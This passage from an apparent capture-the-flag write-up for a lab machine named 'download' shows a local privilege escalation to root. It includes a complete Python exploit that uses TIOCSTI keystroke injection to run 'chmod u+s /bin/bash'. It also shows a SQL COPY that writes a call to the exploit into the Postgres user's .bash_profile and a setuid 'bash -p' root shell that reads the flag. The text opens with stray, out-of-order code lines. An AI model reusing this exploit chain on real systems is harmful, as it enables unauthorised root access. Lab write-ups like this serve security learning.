for char in sys.argv[1] + '\n':
fcntl.ioctl(0, termios.TIOCSTI, char)
import fcntl
import os
import termios
def main():
x = "exit\n/bin/bash -c 'chmod u+s /bin/bash'\n"
for char in x:
try:
ret = fcntl.ioctl(0, termios.TIOCSTI, char)
if ret == -1:
print("ioctl()")
except OSError as e:
print(f"ioctl(): {e}")
if __name__ == "__main__":
main()
/bin/bash
will become Set-UID
, and we will be able to use the -p
parameter to run commands as root.Let's copy the exploit to the
/dev/shm
directory:wesley@download:~/privesc$ cp exploit.py /dev/shm
.bash_profile
of the Postgres
user:download=> COPY (SELECT 'python3 /dev/shm/exploit.py') TO '/var/lib/postgresql/.bash_profile';
COPY 1
download=>
/bin/bash
:wesley@download:~/privesc$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
wesley@download:~/privesc$
Set-UID
, so let's execute bash -p
and subsequently read the last flag:wesley@download:~/privesc$ bash -p
bash-5.0# cd /root
bash-5.0# cat root.txt
fb5e5**********************96b50
bash-5.0#